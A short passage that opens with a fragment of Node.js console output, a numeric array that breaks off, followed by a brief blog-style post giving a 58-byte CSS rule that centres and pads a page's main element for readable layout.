4. $ node main.js
   [
     [ 2, 4.3 ], [ 2, 4 ],   [ 2, 4 ],
     [ 2, 3.7 ], [ 3, 4 ],   [ 3, 4 ],

[ 3, 3.7 ], [ 1, 4.3 ], [ 3, 1 ],

58 bytes of CSS to look great nearly everywhere

When making this website, i wanted a simple, reasonable way to make it look good on most displays. Not counting any minimization techniques, the following 58 bytes worked well for me:

main {
  max-width: 38rem;
  padding: 2rem;
  margin: auto;
}
